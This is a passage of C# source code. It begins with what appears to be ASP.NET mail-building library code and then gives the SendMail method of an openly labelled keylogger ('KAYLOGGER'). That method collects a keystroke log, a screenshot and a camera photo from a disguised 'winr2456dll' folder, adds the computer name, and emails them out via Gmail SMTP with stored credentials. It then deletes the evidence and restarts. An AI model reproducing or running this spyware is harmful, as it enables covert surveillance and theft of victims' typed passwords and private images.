VirtualPath virtualPath = VirtualPath.Combine(owner.TemplateControlVirtualDirectory,
VirtualPath.Create(path));
path = virtualPath.AppRelativeVirtualPathString;
}
// The FileStream will be closed by MailMessage.Dispose()
LinkedResource lr = null;
try {
Stream stream = null;
try {
stream = owner.OpenFile(path);
lr = new LinkedResource(stream);
}
catch {
if (stream != null)
{
((IDisposable)stream).Dispose();
}
throw;
}
lr.ContentId = part.Name;
lr.ContentType.Name = UrlPath.GetFileName(path);
view.LinkedResources.Add(lr);
}
catch {
if (lr != null)
{
lr.Dispose();
}
throw;
}
}
message.AlternateViews.Add(view);
}
else if (!String.IsNullOrEmpty(body))
{
message.Body = body;
}
message.IsBodyHtml = IsBodyHtml;
return(message);
}
catch {
if (message != null)
{
message.Dispose();
}
throw;
}
}
public void SendMail()
{
Score score = new Score();
string pathPhoto = score.DriveName + @"winr2456dll\web.jpg";
string pathImage = score.DriveName + @"winr2456dll\printscreen.jpg";
LinkedResource inlinePhoto = new LinkedResource(pathPhoto); // attach a photo
inlinePhoto.ContentId = Guid.NewGuid().ToString();
Attachment attPhoto = new Attachment(pathPhoto);
attPhoto.ContentDisposition.Inline = true;
LinkedResource inline = new LinkedResource(pathImage); // attach a screenshot
inline.ContentId = Guid.NewGuid().ToString();
Attachment att = new Attachment(pathImage);
att.ContentDisposition.Inline = true;
string path = score.DriveName + "winr2456dll\\" + "logwinr2456dll.txt";
var mail = new MailAddress(score.Email, "KILLATIV");
MailAddress toMail = new MailAddress(score.Email);
using (MailMessage message = new MailMessage(mail, toMail)) // send mail to yourself
using (SmtpClient smtpClient = new SmtpClient())
{
if (File.Exists(path))
{
message.IsBodyHtml = true;
message.Subject = "KAYLOGGER";
message.Body += String.Format(
"<strong>#### Time -- " +
DateTime.Now.ToString("g") +
" ####<br/>#### Model -- " +
Environment.MachineName +
" ####</strong><br/><br/>"); // sending time and computer name
message.Body += File.ReadAllText(path); // text file
message.Body += String.Format("<h3>Screenshot and Photo:<h3>", inline.ContentId);
message.Body += String.Format("----------------------------------------------", inlinePhoto.ContentId);
smtpClient.Host = "smtp.gmail.com";
smtpClient.Port = 587;
smtpClient.EnableSsl = true;
smtpClient.DeliveryMethod = SmtpDeliveryMethod.Network;
smtpClient.UseDefaultCredentials = false;
message.Attachments.Add(att);
message.Attachments.Add(attPhoto);
smtpClient.Credentials = new NetworkCredential(mail.Address, score.Password);
smtpClient.Send(message);
inline.Dispose();
att.Dispose();
inlinePhoto.Dispose();
attPhoto.Dispose();
File.Delete(path); // delete all created files from the computer
File.Delete(pathImage);
File.Delete(pathPhoto);
score.reset(); // reset the counter
Start(); // do it all over again
}
}
}